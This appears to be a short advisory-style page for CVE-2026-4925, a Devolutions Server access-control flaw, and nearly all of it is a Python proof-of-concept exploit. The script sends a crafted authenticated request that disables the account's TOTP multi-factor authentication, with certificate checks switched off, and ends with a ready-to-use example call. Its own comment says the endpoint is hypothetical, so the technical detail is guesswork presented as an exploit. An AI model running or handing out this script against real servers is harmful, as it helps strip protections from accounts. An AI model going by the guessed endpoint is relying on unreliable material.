CVE-2026-4925 Devolutions Server访问控制缺陷

import requests # PoC for CVE-2026-4925: Devolutions Server MFA Bypass # Description: This script demonstrates how an authenticated user can remove their own MFA # by sending a crafted request to the vulnerable endpoint. def exploit_mfa_removal(target_url, session_token): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } # Hypothetical endpoint based on the vulnerability description api_endpoint = f"{target_url}/api/v1/users/me/mfa/disable" payload = { "provider": "totp", "confirmation": "true" } try: response = requests.post(api_endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Success: MFA configuration removed via access control bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: Server returned status code {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage example: # exploit_mfa_removal("https://devolutions-server.example.com", "<valid_user_session_token>")